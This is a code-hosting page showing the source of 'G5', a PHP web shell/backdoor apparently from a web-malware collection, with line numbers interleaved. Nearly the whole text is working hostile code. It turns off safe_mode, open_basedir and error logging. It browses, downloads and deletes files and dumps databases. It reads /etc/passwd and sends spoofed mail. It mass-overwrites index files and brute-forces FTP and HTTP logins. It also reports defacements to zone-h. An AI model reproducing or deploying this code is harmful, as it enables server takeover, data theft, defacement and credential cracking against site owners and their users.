PageRenderTime 56ms CodeModel.GetById 15ms RepoModel.GetById 0ms app.codeStats 0ms

/Backdoors/PHP/G5.php

http://web-malware-collection.googlecode.com/
PHP | 1226 lines | 971 code | 49 blank | 206 comment | 125 complexity | 02741d0805cf6f79b2f40dcaaef78b28 MD5 | raw file

Large files files are truncated, but you can click here to view the full file

    

  1. <?php

    2. 

  2. /**

    3. 

  3.                      .-"""-.

    4. 

  4.                     / .===. \

    5. 

  5.                     \/ 6 6 \/

    6. 

  6.                     ( \___/ )

    7. 

  7.   ______________ooo__\_____/__________________

    8. 

  8.  /                                            \

    9. 

  9. | Hi All                                       |

    10. 

  10. | $3ll:      G5 (W.DLL) version 1.6            |

    11. 

  11. | author:    Piaster  (wadelamin)              |

    12. 

  12. | Offical:   http://piaster.blogspot.com       |

    13. 

  13. | E-mail:    w.dll@live.com                    |

    14. 

  14. | copyright: 2010-2011 Piaster.                         |

    15. 

  15. | Page:      www.facebook.com/Pias.Piaster     |

    16. 

  16.  \___________________________ooo______________/

    17. 

  17.                     |  |  |

    18. 

  18.                     |_ | _|

    19. 

  19.                     |  |  |

    20. 

  20.                     |__|__|

    21. 

  21.                     /-'P'-\

    22. 

  22.                    (__/ \__)

    23. 

  23. //--------------------------------------------/*/

    24. 

  24. $access = 0; //if you don't wont anybody to access this file set $access=1

    25. 

  25. $USR = "g5"; //User

    26. 

  26. $PWD = "g5"; //PWD

    27. 

  27. $color = 'black'; //#993333 #333333 style color

    28. 

  28. $style = 'x4';// default x4 to change to orange style set var x5

    29. 

  29. //---------------------------------------------------------------

    30. 

  30. if($access==1){

    31. 

  31. if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$USR || $_SERVER['PHP_AUTH_PW']!==$PWD){ob_end_clean();header('WWW-Authenticate: Basic realm="Piaster"');header('HTTP/1.0 401 Unauthorized');exit("<b><a href=http://www.w-dll.com>Piaster</a> : Access Denied</b>");}}

    32. 

  32. 

    33. 

  33. session_start();

    34. 

  34. @set_time_limit(0);

    35. 

  35. @ini_restore("safe_mode");

    36. 

  36. @ini_restore("allow_url_fopen");

    37. 

  37. @ini_restore("open_basedir");

    38. 

  38. @ini_restore("disable_functions");

    39. 

  39. @ini_restore("safe_mode_exec_dir");

    40. 

  40. @ini_restore("safe_mode_include_dir");

    41. 

  41. 

    42. 

  42. 

    43. 

  43. @ini_set('error_log',NULL);

    44. 

  44. @ini_set('log_errors',0);

    45. 

  45. @ini_set('max_execution_time',0);

    46. 

  46. @ini_set('output_buffering',0);

    47. 

  47. $php = $_SERVER["PHP_SELF"];

    48. 

  48. if(version_compare(phpversion(), '4.1.0') == -1)

    49. 

  49. {$_POST   = &$HTTP_POST_VARS;

    50. 

  50. $_GET =  &$HTTP_GET_VARS;}

    51. 

  51. $tl=7;

    52. 

  52.     global $loc,$pass,$port,$user,$db;

    53. 

  53. 

    54. 

  54. if($_GET['kil']=="me"){

    55. 

  55. @unlink(getcwd().$_SERVER["SCRIPT_NAME"]);

    56. 

  56. }

    57. 

  57. $loc = 'localhost';

    58. 

  58. 

    59. 

  59. define('db',htmlspecialchars($_POST['sqdbn']));

    60. 

  60. define('pass',htmlspecialchars($_POST['sqpwd']));

    61. 

  61. define('loc',htmlspecialchars($_POST['sqsrv'])? htmlspecialchars($_POST['sqsrv']):$log);

    62. 

  62. define('port',htmlspecialchars($_POST['sqprt']));

    63. 

  63. define('user',htmlspecialchars($_POST['sqlog']));

    64. 

  64. define('style',$style);

    65. 

  65. global $log;

    66. 

  66. $log = @mysql_connect(loc,user,pass);

    67. 

  67. $select = @mysql_select_db(db, $log);

    68. 

  68. //$log = @mysqli_connect($loc,$user,$pass,$db,$port);

    69. 

  69. 

    70. 

  70. if(isset($_REQUEST['dumd'])){

    71. 

  71. $dt = date("Y-m-d");$db = $_POST['sqdbn'];$han = "WDLL-$db-$dt";$dmt = $_REQUEST['sqldp'];

    72. 

  72. if ($dmt=='SQL'){$han="WDLL-$db-$dT.sql";$fp=fopen($han,"w");}else{$han="WDLL-$db-$dt.sql.gz";

    73. 

  73. $fp = gzopen($han,"w");}

    74. 

  74. 

    75. 

  75. $tb = @mysql_query ("SHOW TABLES");

    76. 

  76. while ($X = @mysql_fetch_array($tb)) {

    77. 

  77. $X = $X['Tables_in_'.$db];$mf = @mysql_fetch_array(@mysql_query ("SHOW CREATE TABLE ".$X));rt($mf['Create Table'].";\n\n");$sql = @mysql_query ("SELECT * FROM ".$X);

    78. 

  78. if (@mysql_num_rows($sql)) {while ($row = @mysql_fetch_row($sql)) {foreach ($row as $v => $w) {

    79. 

  79. $row[$v] = "'".@mysql_escape_string($w)."'";}rt("INSERT INTO $X VALUES(".implode(",", $row).");\n");}}}

    80. 

  80. if ($dmt=='SQL'){fclose ($fp);}else{gzclose($fp);}

    81. 

  81. header("Content-Disposition: attachment; filename=" . $han);   

    82. 

  82. header("Content-Type: application/download");

    83. 

  83. header("Content-Length: " . @filesize($han));@flush();

    84. 

  84. $fp = @fopen($han, "r");while (!feof($fp)){echo @fread($fp, 65536);@flush();} @fclose($fp); }

    85. 

  85. 

    86. 

  86. if (isset($_REQUEST['dWNf'])||isset($_REQUEST["download"]) && $_REQUEST["download"] != @basename($_SERVER["SCRIPT_FILENAME"]))

    87. 

  87. {if(isset($_REQUEST['dWNf'])){$file = htmlspecialchars($_POST['dWn']);}else {$file =$_REQUEST["download"];}

    88. 

  88. header('Content-Length:'.@filesize($file).'');

    89. 

  89. header('Content-Type: application/octet-stream');

    90. 

  90. header('Content-Disposition: attachment; filename="'.$file.'"');

    91. 

  91. if(function_exists('readfile')){@readfile($file);}else @file_get_contents($$file);}

    92. 

  92. if (!empty($_POST['goto'])) { @chdir($_POST['goto']); $path = @realpath($_POST['goto']);}

    93. 

  93. if(isset($_GET['dir'])&& !@is_file($_GET['dir'])){$path =@chdir(base64_decode(htmlspecialchars($_GET['dir'])));}

    94. 

  94. if($dir){@chdir($_POST['dir']);}

    95. 

  95. else {$path = @realpath(".");}

    96. 

  96. $path = @realpath(".");

    97. 

  97. 

    98. 

  98. if(!$win){

    99. 

  99. define(path,$path);}else

    100. 

  100.  {$mxpath = str_replace('\\','/',$path);

    101. 

  101. define(path,$mxpath.'/');}

    102. 

  102. function curc(){

    103. 

  103. $crk = @get_loaded_extensions();

    104. 

  104. if(@in_array("curl", $crk)){return true;}else {return false;}}

    105. 

  105. 

    106. 

  106. if(isset($_REQUEST["sqconf"]) or isset($_REQUEST["msq1"])){head('black');}

    107. 

  107. else {head($color);} // ^_^

    108. 

  108. if (isset($_REQUEST["action"]) && $_REQUEST["action"] != @basename($_SERVER["SCRIPT_FILENAME"])){

    109. 

  109.     $fa = stripcslashes(htmlspecialchars($_REQUEST["action"]));

    110. 

  110.      $fa = urldecode(base64_decode(str_replace("\\\\","\\",$fa))); 

    111. 

  111.     ;echo "<center><br><br> <p align=\"center\"><a href=\"javascript: close()\">Close</a></p><table border =\"1\" bgcolor =\"black\"><tr><td><font color =\"red\"><b> File Path: </font> " .$fa. "</td><tr><tr><td><font color =\"red\"><b>File Size: </b></font>" . wdll_s1z(@filesize($fa)) ."</td></tr> <tr><td><font color =\"red\"><b>Create:</b></font> ".@date('d/m/Y H:i:s',@filectime($fa))."</td></tr><tr><td><font color =\"red\"><b>Modify: </b></font>" .@date('d/m/Y H:i:s', @filemtime($fa)) ."</td></tr><tr><td><font color =\"red\"><b>Mode: </b></font>" .wdll_permc($fa) . "</td></tr></table></center><br><center><table><tr>";echo "<form method=\"post\" action=\"" . $php . "?download=".$fa ."\"> ";sub('down','Download',$pr='');echo "</form>";echo "<form method=\"post\" action=\"" . $php . "?cod=" .@base64_encode($fa)."\">";sub('Source','Source',$pr='');echo "</form>";echo "<form method=\"post\" action=\"" . $php . "?chmod=" .$fa."\">";echo "</form>";echo "<form method=\"post\" action=\"" . $php . "?delete=" .@base64_encode($fa)."\">";sub('Delete','Delete',$pr='');echo "</form>";echo "</tr></table></center>";ft();  die;}

    112. 

  112.     

    113. 

  113. if (isset($_REQUEST["delete"]) && $_REQUEST["delete"] != @basename($_SERVER["SCRIPT_FILENAME"]))

    114. 

  114. {$rdel = base64_decode($_REQUEST["delete"]);

    115. 

  115.     $rdel = str_replace("\\", DIRECTORY_SEPARATOR, $rdel);if (@is_dir($rdel)){if (substr($rdel, -1) != DIRECTORY_SEPARATOR){$rdel .= DIRECTORY_SEPARATOR;}} elseif (is_file($rdel)){if(@unlink(htmlspecialchars($rdel))){echo "file  " . $rdel . "  Removed";}} else {echo "File Not Found";}echo "<p align=\"center\"><a href=\"javascript: history.go(-1)\">Back</a></p>"; ft(); die;}

    116. 

  116.     

    117. 

  117. if (isset($_REQUEST["cod"]) && $_REQUEST["cod"] != @basename($_SERVER["SCRIPT_FILENAME"])){ if ($_REQUEST["cod"]){$tx = @base64_decode($_REQUEST["cod"]);if(function_exists('highlight_file')){@highlight_file($tx);}elseif(@function_exists('file_get_contents')){echo @file_get_contents($tx);}elseif(function_exists('file')){echo @file($tx);}else {rd();}}echo "<p align=\"center\"><a href=\"javascript: history.go(-1)\">Back</a></p>";ft();  die;}

    118. 

  118. 

    119. 

  119. if (isset($_REQUEST["info"]) && $_REQUEST["info"] != @basename($_SERVER["SCRIPT_FILENAME"]))

    120. 

  120. { echo("(wadelamin)<br> www.w.dll-sd.com<br>www.piaster.net<br> w.dll@live.com 2011 ");echo "<p align=\"center\"><a href=\"".$php."\">Home</a><br></p>";ft();   die;}

    121. 

  121.  if(isset($_REQUEST['allss'])){

    122. 

  122. switch ($_REQUEST['fsOP'])

    123. 

  123. {

    124. 

  124. //toolz

    125. 

  125. case 'cmdr': {$oP = 6;}break;

    126. 

  126. case 'mil' : {$oP = 7;}break;

    127. 

  127. case 'fts' : {$oP = 8;}break; 

    128. 

  128. case 'ftm' : {$oP = 9;}break; 

    129. 

  129. case 'frc' : {$oP = 10;}break; 

    130. 

  130. case 'fcf' : {$oP = 11;}break;  

    131. 

  131. case 'fsf' : {$oP = 12;}break;  

    132. 

  132. case 'fbk' : {$oP = 13;}break; 

    133. 

  133. case 'cry' : {$oP = 14;}break;

    134. 

  134. case 'seaa': {$oP = 15;}break; 

    135. 

  135. }define(oP,$oP);}

    136. 

  136.  if(isset($_REQUEST['allqw'])){

    137. 

  137. switch ($_REQUEST['dbOP']){

    138. 

  138. case 'dmi':  {$oPp = 1; }break; 

    139. 

  139. case 'ddu' : {$oPp = 2;}break; 

    140. 

  140. case 'ddr' : {$oPp = 3;}break; 

    141. 

  141. case 'dau' : {$oPp = 4;}break; 

    142. 

  142. case 'dml' : {$oPp = 5;}break;

    143. 

  143. case 'dqu' : {$oPp = 6;}break;

    144. 

  144. case 'etr' : {$oPp = 7;}break;

    145. 

  145. 

    146. 

  146.  }define(oPp,$oPp);} 

    147. 

  147.  

    148. 

  148.   if(isset($_REQUEST['mSendm'])) {

    149. 

  149. 

    150. 

  150.     $headers = 'To: '.$_REQUEST['mito']."\r\n";

    151. 

  151.     $headers .= 'From: '.$_REQUEST['mnam'].' '.$_REQUEST['mmail']."\r\n";

    152. 

  152.     if (mail($_REQUEST['mito'],$_REQUEST['msubj'],$_REQUEST['mmsg'],$headers)) {

    153. 

  153.       echo "<center><b>Email sent!</b></center>";

    154. 

  154.     }

    155. 

  155.     else { echo "<center>Couldn't send email!</center>"; }

    156. 

  156. echo "<br><br><br><a href=\"".$php."\">Home</a>|&nbsp;|<a href=\"javascript: history.go(-1)\">Back</a><br>"; ft();exit; }

    157. 

  157. if(isset($_REQUEST["massa"]))

    158. 

  158. {global $coded,$lop,$msi;

    159. 

  159. $lop = 2;

    160. 

  160. $coded = htmlspecialchars($_POST['coded']);

    161. 

  161. $skid= htmlspecialchars($_POST['skid']);

    162. 

  162. $msd = htmlspecialchars($_POST['masdr']);

    163. 

  163. @chdir($msd);

    164. 

  164. $msi = $_POST['msi'];

    165. 

  165. if($msi == 'msfi'||$msi == 'msfa'||$msi == 'msfr'){

    166. 

  166. $msdr = @opendir($msd) or die("<br><b>Permision denied! Unable to open dir $msd");

    167. 

  167. wdll_nora($msdr, $msd,$coded,$skid);

    168. 

  168. }

    169. 

  169. else{db_mass($coded,$msi);exit;}}

    170. 

  170. 

    171. 

  171. function fetchFilef($url,$path,$file)

    172. 

  172. {$data=fetchFile($url);

    173. 

  173. 	if ($data)

    174. 

  174. 	{$d=@fopen($path.'/'.$file,"wb");

    175. 

  175. 		$ret=@fwrite($d,$data);

    176. 

  176. 		@fclose($d);

    177. 

  177. 		return $ret;}return false;}

    178. 

  178. 

    179. 

  179. function fetchFile($url){

    180. 

  180. 	$urlpr=@parse_url($url);

    181. 

  181. 	$in='';

    182. 

  182. 	$host=$urlpr['host'];

    183. 

  183. 	$port=isset($urlpr['port']) ? intval($urlpr['port']) : 80;

    184. 

  184. 	if ($port==0) $port=80;

    185. 

  185. 	$path=$urlpr['path'];

    186. 

  186. 	if (isset($urlpr['query'])&&$urlpr['query']!='') $path.='?'.$urlpr['query'];

    187. 

  187. 	$fs=@fsockopen($host,$port,$errno,$errstr,3);

    188. 

  188. 	if ($fs)

    189. 

  189. 	{$out="GET $path HTTP/1.1\r\nHost: $host\r\n";

    190. 

  190. 		$out.="Connection: close\r\n\r\n";

    191. 

  191. 		@fwrite($fs,$out);

    192. 

  192. 		$end=false;

    193. 

  193. 		while (!feof($fs))

    194. 

  194. 		{$fl=@fgets($fs,1024);

    195. 

  195. 			if ($end) $in.=$fl;

    196. 

  196. 			if ($fl=="\r\n") $end=true;}

    197. 

  197. 		@fclose($fs);

    198. 

  198. 	}return $in;}

    199. 

  199.  function rt($dat) {global $fp;if ($_REQUEST['sqldp']=='SQL'){@fwrite($fp,$dat);}else{@gzwrite($fp, $dat);}}

    200. 

  200. 

    201. 

  201. if(@function_exists('mysql_connect')){$dtb = "<font color=green>MySQL : On</font>";};if(@function_exists('mssql_connect')){$dtb = "<font color=green>MSSQL : On</font>";};if(@function_exists('pg_connect')){$dtb = "<font color=green>PostgreSQL : On</font>";};if(@function_exists('ocilogon')){$dtb = "<font color=green>Oracle : On</font>";};

    202. 

  202. $win = strtolower(substr(PHP_OS,0,3)) == "win";

    203. 

  203. $HO= "<a href=\"".$php."\">Home</a>";$kilm= "<a href=\"".$php."?kil=me\">Kill Me</a>";

    204. 

  204. $sys = "OS: <font color=orange>".@wordwrap(@php_uname())."</font>";

    205. 

  205. $us = "User: <font color=orange>".@get_current_user()."</font>";

    206. 

  206. $SAD = "Admin Mail: <font color=orange>".$_SERVER['SERVER_ADMIN']."</font>";

    207. 

  207. $soft =  "Server: "."<font color=orange>".@getenv("SERVER_SOFTWARE")."</font>";

    208. 

  208. if(@ini_get('disable_functions')){$FUC="Functions: <font color=red>Disable</font>";}else{$FUC="Functions:<font color=green>  Enable</font>";}

    209. 

  209. if(curc()){$cur="Curl: <font color=green>Enable</font>";}else{$cur="Curl: <font color=red>Disable</font>";}

    210. 

  210. if (function_exists('ini_get'))

    211. 

  211. if (@ini_get("safe_mode") || strtolower(@ini_get("safe_mode")) == "on") 

    212. 

  212. {$safe= TRUE;$mode = "<font color=red>ON</font>";}

    213. 

  213. else {$safe = FALSE; $mode = "<font color=green>OFF</font>";}

    214. 

  214. if (function_exists('ini_get'))

    215. 

  215. {$ob = @ini_get("open_basedir");}else {$ob = @get_cfg_var("open_basedir");}

    216. 

  216. if ($ob or strtolower($ob) == "on") {$openB = TRUE; $basedir = "<font color=red>".$ob."</font>";}

    217. 

  217. else {$openB = FALSE; $basedir = "<font color=green>OFF</font>";}

    218. 

  218. echo "<br><table bgcolor=\"800000\" width =80%><td>";

    219. 

  219. echo "|| $HO || Safe Mode = ".$mode." &nbsp;|&nbsp;Open_Basedir = ". $basedir."&nbsp;|".$us."&nbsp;|".$soft."&nbsp;| ".$SAD."&nbsp;| ".$FUC."&nbsp;| ".$cur."<BR>";

    220. 

  220. 

    221. 

  221. echo $sys;

    222. 

  222. if(!$win)echo "&nbsp;| <b>Uid=".@getmyuid()." Gid=".@getmygid()."</b>&nbsp;|";

    223. 

  223. if (is_callable("disk_free_space"))

    224. 

  224. {$fre = @disk_free_space($path);$tot = @disk_total_space($path);if ($fre === FALSE) {$fre = 0;}if ($tot === FALSE) {$tot = 0;}if ($fre < 0) {$fre = 0;}if ($tot < 0) {$tot = 0;}$used = $tot-$fre;$frep = @round(100/($tot/$fre),2);

    225. 

  225. echo "&nbsp;| HDD Free <font color =\"orange\">".wdll_s1z($fre)."</font> HDD Total&nbsp;<font color =\"orange\">".wdll_s1z($tot)."</font> (".$frep."%)</b> ";}

    226. 

  226. echo"<font color=ffffff>&nbsp;|Dir mode:&nbsp;<b>".substr(decoct(@fileperms($path)), -3, 3)."</b></font>| DB:&nbsp; ".$dtb."&nbsp;| ".$kilm."";

    227. 

  227. echo "</td></table><br>";

    228. 

  228. 

    229. 

  229. if(isset($_REQUEST["find"]))

    230. 

  230. {wdll_repx(); global $fin;

    231. 

  231. $pathfd =htmlspecialchars($_POST['goto']);

    232. 

  232. $fin = stripcslashes(htmlspecialchars($_POST['fin']));$fin = str_replace("\\\\","\\",$fin);

    233. 

  233. $dih = @opendir($pathfd) or die("<br><b>Permision denied! Unable to open dir $path");

    234. 

  234. echo wdll_nora($dih,$pathfd,$fin);}

    235. 

  235. 

    236. 

  236. if(isset($_REQUEST["search"]))

    237. 

  237. { global $words,$wordonly,$sesir,$serdir,$sea,$lop;

    238. 

  238. $lop = 1;

    239. 

  239. $serdir = htmlspecialchars($_POST['serdir']); 

    240. 

  240. $sesir  = htmlspecialchars($_POST['sedir']); 

    241. 

  241. $words  = trim(htmlspecialchars($_POST['searcc'])); 

    242. 

  242. $wordonly = trim('/'.$words.'/'); 

    243. 

  243. 

    244. 

  244. $sea  = $_POST['sea'];

    245. 

  245. $skid= htmlspecialchars($_POST['skid']);

    246. 

  246. wdll_repx();

    247. 

  247. $ser = @opendir($serdir) or die("<br><b>Permision denied! Unable to open dir $path");

    248. 

  248. wdll_nora($ser, $serdir,$words,$skid);

    249. 

  249. echo "<a href=\"".$php."\">Home</a>|&nbsp;|<a href=\"javascript: history.go(-1)\">Back</a><br>";exit;}

    250. 

  250. 

    251. 

  251. if(oP == '10' || isset($_GET['dir'])|| isset($_GET['show'])||isset($_REQUEST["dir"]))

    252. 

  252. {echo "<form  action=\"".$php."\"method=\"post\">

    253. 

  253. <a href=\"".$php."\">Home</a>|&nbsp;|<a href=\"javascript: history.go(-1)\">Back</a><br>";

    254. 

  254. if($win)wdir();echo "<br><br>

    255. 

  255. <b>Change Directory<br></b>";

    256. 

  256. inp('text','25','goto',path);

    257. 

  257. sub('dir','GO');

    258. 

  258. echo "</form>";

    259. 

  259.  $files = array();

    260. 

  260.  $dir = array();

    261. 

  261. wdll_repxl();

    262. 

  262.  if ($handle = @opendir(path))

    263. 

  263.  {while (false !== ($file = @readdir($handle))) 

    264. 

  264.   {if(@is_dir($file)){$dir[] = $file;}else{$files[] = $file;}}

    265. 

  265.  asort($dir);asort($files);

    266. 

  266.   foreach($dir as $file){wdll_repxt($file);}

    267. 

  267.   foreach($files as $file){wdll_repxtr($file);}}

    268. 

  268.   else{echo "<u>Error!</u> Can't open <b>".@realpath('.')."</b>!<br>";}if(!isset($_GET['show']))exit(); 

    269. 

  269. }

    270. 

  270. function CFile($file,$serc)

    271. 

  271.     {

    272. 

  272.    if (!@is_readable($file))

    273. 

  273.     {@chmod($file, 0644);}

    274. 

  274.     $ioo = @file_get_contents($file);

    275. 

  275.     $x0 = true;

    276. 

  276.     if(@preg_match($serc, $ioo))

    277. 

  277.     {$x0 = false;}return $x0;}

    278. 

  278. 

    279. 

  279. function md($mvdir,$dst,$cop=false) {

    280. 

  280. if (substr($dst,-1) == "\\") $dst = substr($dst,0,strlen($dst)-1);

    281. 

  281. if (substr($mvdir,-1) == "\\") $mvdir = substr($mvdir,0,strlen($mvdir)-1);

    282. 

  282. if (!file_exists($mvdir)) return FALSE;

    283. 

  283. dexists($dst);

    284. 

  284. $han = @opendir($mvdir);

    285. 

  285. while ($f = @readdir($han)) {

    286. 

  286. $mvd = $mvdir . "\\" . $f;

    287. 

  287. if (@is_dir($mvd)) {

    288. 

  288. if (!($f['value']=="." || $f=="..")) {

    289. 

  289. md($mvd,$dst . "\\" . $f,$cop);};} else {

    290. 

  290. if(@copy( $mvd ,$dst . "\\" . $f))echo $mvd."&nbsp;Move&nbsp;Done \n";

    291. 

  291. if (!$cop) {

    292. 

  292. @unlink($mvd);};};};@closedir($han);if (!$cop) {@rmdir($mvdir);};return TRUE;};

    293. 

  293. function dexists($dir) {

    294. 

  294. if (substr($dir,-1) == "\\") $dir = substr($dir,0,strlen($dir)-1);

    295. 

  295. if (@file_exists($dir)) return TRUE;

    296. 

  296. $ex = explode("\\",$dir);

    297. 

  297. while ($mc = each($ex)) {

    298. 

  298. $mx = $mc['value'];};

    299. 

  299. $mx = str_replace("\\" . $mx,"",$dir);

    300. 

  300. if (!file_exists($mx)) {

    301. 

  301. dexists($mx);};

    302. 

  302. @mkdir($dir,0777);

    303. 

  303. return TRUE;}

    304. 

  304. 

    305. 

  305. $sqquery = htmlspecialchars($_POST['sqquery']);

    306. 

  306. define(sql_query,$sqquery);

    307. 

  307. 

    308. 

  308. if($_REQUEST['do']=="db" || isset($_REQUEST['sqlwxp'])){

    309. 

  309. echo sqlexp();

    310. 

  310. exit;}

    311. 

  311. 

    312. 

  312. if(isset($_REQUEST["sqconf"])){wdll_dbc();exit;}

    313. 

  313. wdll_bdx('800000');

    314. 

  314. 

    315. 

  315. function wdll_nora($dih, $path,$fin='',$skid ='')

    316. 

  316. { global $words,$wordonly,$sesir,$serdir,$sea,$msi,$lop,$fin;

    317. 

  317.     while (false !== ($file = @readdir($dih)))

    318. 

  318. {$dir = $path . '/' . $file;

    319. 

  319. if (@is_dir($dir) && $file != '.' && $file != '..' && $file != $skid)

    320. 

  320. {

    321. 

  321. $wok = @opendir($dir) or die("<br><b>Permision denied! undable to open dir $file");

    322. 

  322. wdll_nora($wok, $dir,$fin,$skid);}

    323. 

  323. elseif ($file != '.' && $file != '..' && $file != $skid)

    324. 

  324. {

    325. 

  325. if($_REQUEST["find"]){if($file == $fin){wdll_rep($dir, $path, $file);}}

    326. 

  326. if($lop=='1'){

    327. 

  327.   switch ($_REQUEST["sea"])

    328. 

  328.     {

    329. 

  329.         case('cepr'):{if(!CFile($dir,$words)){wdll_rep($dir, $path, $file);}}break;        

    330. 

  330.         case('cewo'):{if(!CFile($dir,$wordonly)){wdll_rep($dir, $path, $file);}}break;   

    331. 

  331.         

    332. 

  332.         case('cefi'):{if (similar_text($file, $words) >= 3){wdll_rep($dir, $path, $file);}}break; 

    333. 

  333.         case('cefn'):{if($file == $words){wdll_rep($dir, $path, $file);}}break;    

    334. 

  334.          

    335. 

  335.         case('cefm'):{$perm = substr(decoct(@fileperms($dir)), -3, 3);if($perm == $words){wdll_rep($dir, $path, $file);} }break;

    336. 

  336.         case('ceft'):{$xtr = @pathinfo($file);$extt = $xtr["extension"]; if($extt == $words){wdll_rep($dir, $path, $file);}}break; 

    337. 

  337.        

    338. 

  338.         default:{ echo "<a href=\"javascript: history.go(-1)\">Back....&nbsp;</a>";die('PLZ Select Search Mode');}}}

    339. 

  339.     

    340. 

  340.  if($lop =='2')

    341. 

  341.  {switch ($_REQUEST["msi"]){  case('msfi'):{if($file == 'index.php'or $file == 'home.php'or $file == 'index.aspx'or $file == 'index.html'or $file == 'index.htm'){ fiindex($dir);}}break; 

    342. 

  342.  case('msfa'):{if(@is_file($dir)) {fiindex($dir);}}break;

    343. 

  343. case('msfr'):{if($file != 'index.php'or $file != 'home.php'or $file != 'home.aspx'or $file != 'index.html'or $file != 'index.htm'){delf($dir);}}break;}}   

    344. 

  344. 

    345. 

  345. }}@closedir($dih);}

    346. 

  346. //-------------------------------------------------------------------------------

    347. 

  347. 

    348. 

  348. function extr_si(){

    349. 

  349.     $rvlink = $_REQUEST["sqtid"];

    350. 

  350.     {

    351. 

  351.     $rvsorc = "http://www.yougetsignal.com/tools/web-sites-on-web-server/php/get-web-sites-on-web-server-json-data.php?remoteAddress=";

    352. 

  352.     $rvall = $rvsorc.$rvlink;

    353. 

  353.     $rvcon = file_get_contents($rvall);

    354. 

  354.     preg_match_all('/"(.*?)"/si', $rvcon, $rvsits); 

    355. 

  355.     foreach(array_unique($rvsits[1]) as $rvrs) {

    356. 

  356.     if(strstr($rvrs,'.')) {

    357. 

  357.     if(eregi('www',$rvrs)) {

    358. 

  358.     echo "http://".$rvrs."\n";

    359. 

  359.     }

    360. 

  360.     else {

    361. 

  361.     echo "http://www.".$rvrs."\n";}}}}

    362. 

  362.   }

    363. 

  363. function cc($sit,$prt,$usr,$pwd,$tl){

    364. 

  364. $ses = @curl_init();

    365. 

  365. @curl_setopt($ses, CURLOPT_URL, "http://$sit:$prt");

    366. 

  366. @curl_setopt($ses, CURLOPT_RETURNTRANSFER, 1);

    367. 

  367. @curl_setopt($ses, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);

    368. 

  368. @curl_setopt($ses, CURLOPT_USERPWD, "$usr:$pwd");

    369. 

  369. @curl_setopt($ses, CURLOPT_CONNECTTIMEOUT, $tl);

    370. 

  370. @curl_setopt($ses, CURLOPT_FAILONERROR, 1);

    371. 

  371. $mix = @curl_exec($ses); return $mix;

    372. 

  372. if ( @curl_errno($ses) == 28 ) {$er= "Connection Timeout Please Check&nbsp;[".$sit."]\n"; return $er; exit;}

    373. 

  373. elseif ( @curl_errno($ses) == 0 )

    374. 

  374. {$fc ="Cracking Success With Username&nbsp;[".$usr."]&nbsp;and Password&nbsp;[".$pwd."]&nbsp;Enjoy\n"; return $fc;}

    375. 

  375. @curl_close($ses);}

    376. 

  376. 

    377. 

  377. function fc($sit,$usr,$pwd,$tl){

    378. 

  378. $ses = @curl_init();

    379. 

  379. @curl_setopt($ses, CURLOPT_URL, "ftp://$sit");

    380. 

  380. @curl_setopt($ses, CURLOPT_RETURNTRANSFER, 1);

    381. 

  381. @curl_setopt($ses, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);

    382. 

  382. @curl_setopt($ses, CURLOPT_FTPLISTONLY, 1);

    383. 

  383. @curl_setopt($ses, CURLOPT_USERPWD, "$usr:$pwd");

    384. 

  384. @curl_setopt ($ses, CURLOPT_CONNECTTIMEOUT, $tl);

    385. 

  385. @curl_setopt($ses, CURLOPT_FAILONERROR, 1);

    386. 

  386. $mix = @curl_exec($ses);

    387. 

  387. if ( @curl_errno($ses) == 28 ) {$er ="[+]Error :Connection Timeout Please Check&nbsp;[".$sit."]\n"; return $er; exit;}

    388. 

  388. elseif ( @curl_errno($ses) == 0 ){

    389. 

  389. $fc = "[+]Cracking Success With Username&nbsp;[".$usr."]&nbsp;and Password&nbsp;[".$pwd."]&nbsp;Enjoy\n";}

    390. 

  390. return $fc;

    391. 

  391. @curl_close($ses);}

    392. 

  392. 

    393. 

  393. function zhsr($hname,$htype,$hwhy,$domain)

    394. 

  394. {$zh = 'http://zone-h.org/notify/single/';

    395. 

  395. echo $zh."defacer=".$hname."&domain1=". $domain."&hackmode=".$htype."&reason=".$hwhy."\n";

    396. 

  396. $ch = @curl_init();

    397. 

  397. @curl_setopt($ch, CURLOPT_URL, $zh);

    398. 

  398. @curl_setopt($ch,CURLOPT_POST,true);

    399. 

  399. @curl_setopt($ch, CURLOPT_POSTFIELDS,"defacer=".$hname."&domain1=". $domain."&hackmode=".$htype."&reason=".$hwhy);

    400. 

  400. @curl_setopt($ch,CURLOPT_FOLLOWLOCATION, true);

    401. 

  401. @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    402. 

  402. if ( @curl_errno($ch) == 28 ) {$er= "Connection Timeout Please Check&nbsp;[http://zone-h.org]\n"; echo $er."\n"; exit;}

    403. 

  403. elseif ( @curl_errno($ch) == 0 ) {echo "[+]Zone-H Done\n";}

    404. 

  404. $rs = @curl_exec($ch);@curl_close($ch);echo $rs;}  

    405. 

  405. 

    406. 

  406. function wdll_updir($dih, $path)

    407. 

  407. {while (false !== ($file = @readdir($dih))){$dir = $path . '/' . $file;

    408. 

  408. if ($file != '.' && $file != '..'){if(!@is_file($file)){echo $dir." &nbsp;=======>[DIR]\n";}else echo $dir."\n";}}@closedir($dih);}

    409. 

  409. 

    410. 

  410. function wdll_p($mode)

    411. 

  411. {switch(true){case(($mode & 0xC000) === 0xC000): {$t = "s";}break;case(($mode & 0x4000) === 0x4000): {$t = "d";}break;case(($mode & 0xA000) === 0xA000): {$t = "l";}break;case(($mode & 0x8000) === 0x8000): {$t = "-";}break;case(($mode & 0x6000) === 0x6000): {$t = "b";}break;case(($mode & 0x2000) === 0x2000): {$t = "c";}break;case(($mode & 0x1000) === 0x1000): {$t = "p";}break;case true :{$t = "?"; }break;}$o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0;$o["x"] = ($mode & 00100) > 0; $g["r"] = ($mode & 00040) > 0;  $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;return array("t" => $t, "o" => $o, "g" => $g, "w" => $w);}

    412. 

  412. 

    413. 

  413. function show_users()

    414. 

  414. {$users = array();$rows=@file('/etc/passwd');if(!$rows) return 0;foreach ($rows as $string){$user = @explode(":",$string);if(substr($string,0,1)!='#') array_push($users,$user[0]);}echo $users."\n";}

    415. 

  415. function wdll_permc($file)

    416. 

  416. { if(@is_writable($file)) { return "writable";}

    417. 

  417. if(!@is_writable($file) && @is_readable($file)) { return "red only";}

    418. 

